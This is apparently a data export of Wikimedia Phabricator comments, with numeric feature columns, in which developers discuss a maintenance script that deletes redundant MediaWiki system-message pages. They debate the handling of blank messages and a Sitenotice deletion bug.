* [[MediaWiki:Autoredircomment]]
* [[MediaWiki:Version]]

done!"
229137,"Delete all redundant ""MediaWiki"" pages for system messages",This was requested to be run on wuuwiki: https://meta.wikimedia.org/w/index.php?title=Steward_requests/Miscellaneous&oldid=7913568#Remove_useless_system_messages_on_wuu_wikipedia,,,1395422161,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,37,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,This was requested to be run on wuuwiki: URL
229135,"Delete all redundant ""MediaWiki"" pages for system messages","Krinkle, are you still planning to work on this?",,,1395223025,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.6363636363636362,1.0,"Krinkle, are you still planning to work on this?"
229131,"Delete all redundant ""MediaWiki"" pages for system messages","The short version of the long story (that is partially outlined in previous comments by all of you) is that it:

* Was never consistent to be begin with.
* It has changed over time.
  So we can't reliably know now what to do with a message. You'd have to account
  for deployment dates for different wikis and assume a community member
  intentionally left a message override untouched knowing the new behaviour.
  More likely it was forgotten about and is actually still assuming the old logic. 
* It can vary by message whether it is blankable or disableable.

If the code calls isBlank first (like Sitenotice) then it can be blanked with '' without leaving a gap in the interface because the feature checks it first.

If the code calls isDisabled first, and then falls back or something, then it can be blanked with '' or '-' and it will use the default.

However by far the default behaviour for the majority of messages is that if you create a local page, it replaces the message with that page. And if you put '' or '-' in it, it will appear as a gap in the interface.

Either way, those pages are there with empty content for a reason, so it doesn't make sense to delete them en mass as part of this maintenance script.",,,1381358925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,4.666666666666667,1.6666666666666667,0.3333333333333333,0.0,1.3333333333333333,2.6666666666666665,3.6666666666666665,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.666666666666667,13.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,1.0,1.0,0.0,5.333333333333333,2.6666666666666665,4.666666666666667,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,12.0,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,7.0,3.6666666666666665,4.333333333333333,3.3333333333333335,3.0,9.333333333333334,0.0,0.0,0.0,0.0,5.0,0.3333333333333333,0.0,0.0,6.666666666666667,13.666666666666666,0.6666666666666666,0.0,1.3333333333333333,0.0,6.666666666666667,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,3.8180541368743612,0.7090994211780729,"The short version of the long story (that is partially outlined in previous comments by all of you) is that it:

* Was never consistent to be begin with.
* It has changed over time.
  So we can't reliably know now what to do with a message. You'd have to account
  for deployment dates for different wikis and assume a community member
  intentionally left a message override untouched knowing the new behaviour.
  More likely it was forgotten about and is actually still assuming the old logic. 
* It can vary by message whether it is blankable or disableable.

If the code calls isBlank first (like Sitenotice) then it can be blanked with '' without leaving a gap in the interface because the feature checks it first.

If the code calls isDisabled first, and then falls back or something, then it can be blanked with '' or '-' and it will use the default.

However by far the default behaviour for the majority of messages is that if you create a local page, it replaces the message with that page. And if you put '' or '-' in it, it will appear as a gap in the interface.

Either way, those pages are there with empty content for a reason, so it doesn't make sense to delete them en mass as part of this maintenance script."
229126,"Delete all redundant ""MediaWiki"" pages for system messages","Blanking a message no longer disables it (bug 14176), so all pre-12.06.2013 blankings should be transformed in deletions.",,,1381349348,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.7272727272727275,1.0,"Blanking a message no longer disables it (bug 14176), so all pre-12.06.2013 blankings should be transformed in deletions."
229121,"Delete all redundant ""MediaWiki"" pages for system messages","I'm confused by comment #12 and #13 then, I understood from them that '' no longer meant default.",,,1381346722,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,3.4782608695652173,0.9130434782608695,"I'm confused by comment #12 and #13 then, I understood from them that '' no longer meant default."
229118,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #16)
> > Even the ""redundant"" messages getting deleted makes me a little sad, given
> > how useful some of that page history can be (including being linked from active
> > bug reports). But I understand that it's better future-proofing. Alas.
> 
> I remember blanking some MediaWiki messages precisely to use the default but
> keep the history.
> Maybe the script should edit the messages to whatever is used now to mean
> ""use
> the default"" (""-"" ?) when there are several edits to the page.

Sometimes '', sometimes '-' (handled by Message:isBlank and Message::isDisabled) however those are not generic APIs. The message system does not use these methods. They are available for local code to use if they want to.

So there's no way of knowing whether an individual message ""supports"" that behaviour, and even then we currently have some use '' and some use '-' ('' is a safe bet for both).",,,1381345858,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,2.0,0.0,0.0,0.0,1.0,4.0,2.5,0.0,0.0,1.0,1.0,5.0,0.0,0.0,1.0,1.0,0.0,6.0,7.5,0.0,2.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.5,9.5,2.0,2.5,7.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,2.5,7.5,4.0,0.0,4.5,0.0,2.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.554900181488203,0.7310949788263763,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sometimes '', sometimes '-' (handled by Message:isBlank and Message::isDisabled) however those are not generic APIs. The message system does not use these methods. They are available for local code to use if they want to.

So there's no way of knowing whether an individual message ""supports"" that behaviour, and even then we currently have some use '' and some use '-' ('' is a safe bet for both)."
229112,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #15)
> I've run this on a single wiki where I'm also a local sysop (nlwiki) and
> noticed the script has a minor flaw.
> 
> It incorrectly deleted MediaWiki:Sitenotice.

Fixed in I5b416cda25a3641862df9919c46ae59ad5d5d6e0.",,,1381345737,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,14.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,0.7142857142857143,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE

Fixed in I5b416cda25a3641862df9919c46ae59ad5d5d6e0."
229105,"Delete all redundant ""MediaWiki"" pages for system messages","> Even the ""redundant"" messages getting deleted makes me a little sad, given
> how useful some of that page history can be (including being linked from active
> bug reports). But I understand that it's better future-proofing. Alas.

I remember blanking some MediaWiki messages precisely to use the default but keep the history.
Maybe the script should edit the messages to whatever is used now to mean ""use the default"" (""-"" ?) when there are several edits to the page.",,,1381345333,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,False,,,14,,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,7.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,11.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,7.0,5.0,2.0,7.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7719298245614037,0.6666666666666666,"QUOTE
QUOTE
QUOTE

I remember blanking some MediaWiki messages precisely to use the default but keep the history.
Maybe the script should edit the messages to whatever is used now to mean ""use the default"" (""-"" ?) when there are several edits to the page."
229097,"Delete all redundant ""MediaWiki"" pages for system messages","I've run this on a single wiki where I'm also a local sysop (nlwiki) and noticed the script has a minor flaw.

It incorrectly deleted MediaWiki:Sitenotice (if it is empty), which is undesirable. So we should probably change the script to make an exception for empty messages.

Those are most unlikely to change anyway because there is no message content to update or change, it is empty.",,,1381345054,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,4.0,0.0,8.0,8.0,0.0,4.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,10.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,6.0,8.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,8.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,1.0,0.0,3.891566265060241,0.7349397590361446,"I've run this on a single wiki where I'm also a local sysop (nlwiki) and noticed the script has a minor flaw.

It incorrectly deleted MediaWiki:Sitenotice (if it is empty), which is undesirable. So we should probably change the script to make an exception for empty messages.

Those are most unlikely to change anyway because there is no message content to update or change, it is empty."
229090,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #13)
> (In reply to comment #12)
>> If a script to delete empty messages existed in the past, we could've run it
>> once globally after we reverted the feature to have blank messages mean
>> default. But it has been to long to do this now.
> 
> What do you mean too long? It's been today for Wikipedias (1.22wmf7). Blank
> message has always meant ""equal to default"", so it doesn't seem out of scope
> for the script, which should be run by third parties before upgrading to
> MediaWiki 1.22.

Not always. The behavior has switched a few times now.

There's no good answer here. It's impossible to determine intent simply by page_len being equal to 0. I tend to agree with Krinkle that it's better to be cautious here.

Even the ""redundant"" messages getting deleted makes me a little sad, given how useful some of that page history can be (including being linked from active bug reports). But I understand that it's better future-proofing. Alas.

> [...] [[MediaWiki 1.22]] [...]

You mean [[mw:MediaWiki 1.22]], of course.",,,1371778016,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.0,0.0,0.5,0.5,7.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.0,0.0,4.5,7.5,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,5.5,2.0,1.5,2.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,13.0,2.0,0.5,4.5,0.0,0.0,0.0,0.5,3.0,0.5,2.0,0.0,4.5,7.5,4.5,0.0,1.5,0.0,4.5,0.0,0.5,1.0,0.5,1.5,1.0,0.0,2.0,3.553822937625754,0.7310865191146881,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not always. The behavior has switched a few times now.

There's no good answer here. It's impossible to determine intent simply by page_len being equal to 0. I tend to agree with Krinkle that it's better to be cautious here.

Even the ""redundant"" messages getting deleted makes me a little sad, given how useful some of that page history can be (including being linked from active bug reports). But I understand that it's better future-proofing. Alas.

QUOTE

You mean [[mw:MediaWiki 1.22]], of course."
229084,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #12)
> If a script to delete empty messages existed in the past, we could've run it
> once globally after we reverted the feature to have blank messages mean
> default. But it has been to long to do this now.

What do you mean too long? It's been today for Wikipedias (1.22wmf7). Blank message has always meant ""equal to default"", so it doesn't seem out of scope for the script, which should be run by third parties before upgrading to MediaWiki 1.22.
If you consider it out of scope I'd file a bug for another script to be created, but nobody would be working on it so it would become too late so I'll just add a warning on [[MediaWiki 1.22]] and let sysops sort it out manually.",,,1371761038,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.5,0.5,2.5,0.0,0.0,0.0,1.0,0.5,2.0,0.0,0.0,0.0,1.5,0.0,5.5,13.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,3.0,2.0,4.5,2.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,2.5,8.0,1.5,2.0,3.5,0.0,0.0,0.0,0.5,7.5,0.0,2.5,0.0,7.0,13.0,2.5,0.5,1.0,0.0,7.0,0.0,1.0,1.5,0.0,1.5,0.0,0.0,1.5,3.4558434690639874,0.7882072977260709,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE

What do you mean too long? It's been today for Wikipedias (1.22wmf7). Blank message has always meant ""equal to default"", so it doesn't seem out of scope for the script, which should be run by third parties before upgrading to MediaWiki 1.22.
If you consider it out of scope I'd file a bug for another script to be created, but nobody would be working on it so it would become too late so I'll just add a warning on [[MediaWiki 1.22]] and let sysops sort it out manually."
229079,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #11)
> (In reply to comment #10)
> > Related URL: https://gerrit.wikimedia.org/r/64991 (Gerrit Change
> > I2680413c276365a44c935a6f6fdd740daa86341e)
> 
> Merged a month ago.
> 
> Given bug 14176 (bug 49793), the script should also delete blank messages and
> be run as soon as possible; unless a separate script is prepared and run for
> that only.

Since blank messages no longer mean showing the default, deleting them seems inappropriate.

Yes, there are likely some pages out there that are blank and currently causing bugs due the message being empty instead of the default. However it would be a mistake to unconditionally delete all blank pages in the MediaWiki namespace.

For maintenance scripts like deleteEqualMessages it is important that they do not affect the interface. It should only delete things that are non-controversial.

If a script to delete empty messages existed in the past, we could've run it once globally after we reverted the feature to have blank messages mean default. But it has been to long to do this now. And one could also argue that it was dangerous even then because there might be existing pages that are blank for other reasons.",,,1371758984,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,True,,,-2,,1.0,0.0,0.0,0.0,0.5,8.5,4.5,0.5,0.0,0.5,2.5,0.5,0.0,0.5,1.0,1.0,0.0,8.5,10.5,0.0,3.0,0.5,0.5,0.0,1.5,0.0,0.0,0.0,1.5,0.5,0.5,5.0,2.0,3.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.5,0.0,1.0,0.5,13.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.5,1.5,0.5,0.0,0.0,1.0,0.0,4.5,5.5,9.5,2.5,1.5,6.5,0.0,0.0,0.0,0.5,7.0,0.5,0.5,0.0,6.0,10.5,4.0,0.0,0.0,0.0,6.0,0.0,1.5,1.0,0.5,2.0,0.0,0.0,0.0,4.215567765567766,0.7074481074481074,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Since blank messages no longer mean showing the default, deleting them seems inappropriate.

Yes, there are likely some pages out there that are blank and currently causing bugs due the message being empty instead of the default. However it would be a mistake to unconditionally delete all blank pages in the MediaWiki namespace.

For maintenance scripts like deleteEqualMessages it is important that they do not affect the interface. It should only delete things that are non-controversial.

If a script to delete empty messages existed in the past, we could've run it once globally after we reverted the feature to have blank messages mean default. But it has been to long to do this now. And one could also argue that it was dangerous even then because there might be existing pages that are blank for other reasons."
229073,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #10)
> Related URL: https://gerrit.wikimedia.org/r/64991 (Gerrit Change
> I2680413c276365a44c935a6f6fdd740daa86341e)

Merged a month ago.

Given bug 14176 (bug 49793), the script should also delete blank messages and be run as soon as possible; unless a separate script is prepared and run for that only.",,,1371757399,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,9.0,2.0,4.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,6.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7777777777777778,"(In reply to comment #10)
QUOTE
QUOTE

Merged a month ago.

Given bug 14176 (bug 49793), the script should also delete blank messages and be run as soon as possible; unless a separate script is prepared and run for that only."
229066,"Delete all redundant ""MediaWiki"" pages for system messages",Related URL: https://gerrit.wikimedia.org/r/64991 (Gerrit Change I2680413c276365a44c935a6f6fdd740daa86341e),,,1369264493,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2680413c276365a44c935a6f6fdd740daa86341e)
229061,"Delete all redundant ""MediaWiki"" pages for system messages",Related URL: https://gerrit.wikimedia.org/r/62159 (Gerrit Change I2680413c276365a44c935a6f6fdd740daa86341e),,,1367596599,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2680413c276365a44c935a6f6fdd740daa86341e)
229056,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #7)
> (In reply to comment #6)
> > I could run it, but I'd like to not execute my own request without a little
> > more consensus from people.
> > 
> > They aren't permanent or hidden actions in any way (regular wiki deletions,
> > it's a bot basically), but they would be a horror to undo.
> > 
> 
> Can you dry run it and make a list of the pages that will be deleted so they
> can be reviewed before deletion?

I'm not sure what there is to review regarding individual pages. They all follow the same description, whatever reasoning one would use about them doesn't specify for any particular page:

 Pages in the MediaWiki namespace that exist and override a system message
 of which the wiki page contents are equal to the system message of the site
 language (in other words, there is no longer a reason fo the override page
 to exist).

Deleting these pages has no visible effect as the effective value of the interface message will still be the same.

The advantage is saving maintenance work later on by not having to update these messages when the software upgrades, and for consistency across wikis.

A common scenario is the following:
* 3 wikis in language x
* 1 of the wikis overrides a message (making an improvement)
* the message is fixed in translatewiki
* the message update is deployed
* users of all 800 wikis using language x now see the new version of the message
* another update is made to the message and deployed
* all wikis use it, except the wiki where the first change came from which is now out of sync without it being intentionally so.


Alright, I'm biased as it was my own idea. But that doesn't mean the script itself has to be controversial. I'll run this next week if no objections are raised before then.",,,1365712467,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-12,,1.0,0.0,0.0,1.25,1.0,5.0,1.75,0.0,0.0,0.25,2.0,1.5,0.25,0.0,0.5,1.25,0.0,5.25,9.0,0.0,1.25,0.0,0.0,0.0,1.0,0.25,0.5,0.25,0.0,0.75,0.25,5.5,1.0,1.25,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.75,1.0,0.0,0.5,0.0,0.25,0.0,13.5,0.25,0.75,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.75,0.0,0.25,0.5,0.25,0.0,6.75,4.0,5.75,1.25,1.25,10.75,0.0,0.0,0.0,0.25,3.25,0.0,1.25,0.0,3.25,9.0,3.0,0.0,0.0,0.0,3.25,0.0,2.0,1.25,0.5,2.0,0.25,0.0,0.0,3.901443950786056,0.7376965140123035,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not sure what there is to review regarding individual pages. They all follow the same description, whatever reasoning one would use about them doesn't specify for any particular page:

 Pages in the MediaWiki namespace that exist and override a system message
 of which the wiki page contents are equal to the system message of the site
 language (in other words, there is no longer a reason fo the override page
 to exist).

Deleting these pages has no visible effect as the effective value of the interface message will still be the same.

The advantage is saving maintenance work later on by not having to update these messages when the software upgrades, and for consistency across wikis.

A common scenario is the following:
* 3 wikis in language x
* 1 of the wikis overrides a message (making an improvement)
* the message is fixed in translatewiki
* the message update is deployed
* users of all 800 wikis using language x now see the new version of the message
* another update is made to the message and deployed
* all wikis use it, except the wiki where the first change came from which is now out of sync without it being intentionally so.


Alright, I'm biased as it was my own idea. But that doesn't mean the script itself has to be controversial. I'll run this next week if no objections are raised before then."
229052,"Delete all redundant ""MediaWiki"" pages for system messages","**Thehelpfulonewiki** wrote:

(In reply to comment #6)
> I could run it, but I'd like to not execute my own request without a little
> more consensus from people.
> 
> They aren't permanent or hidden actions in any way (regular wiki deletions,
> it's a bot basically), but they would be a horror to undo.
> 

Can you dry run it and make a list of the pages that will be deleted so they can be reviewed before deletion?",,,1362516836,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-17,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,17.0,2.0,2.0,4.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,6.0,9.0,11.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.2830188679245285,0.7169811320754716,"**Thehelpfulonewiki** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Can you dry run it and make a list of the pages that will be deleted so they can be reviewed before deletion?"
229047,"Delete all redundant ""MediaWiki"" pages for system messages","I could run it, but I'd like to not execute my own request without a little more consensus from people.

They aren't permanent or hidden actions in any way (regular wiki deletions, it's a bot basically), but they would be a horror to undo.

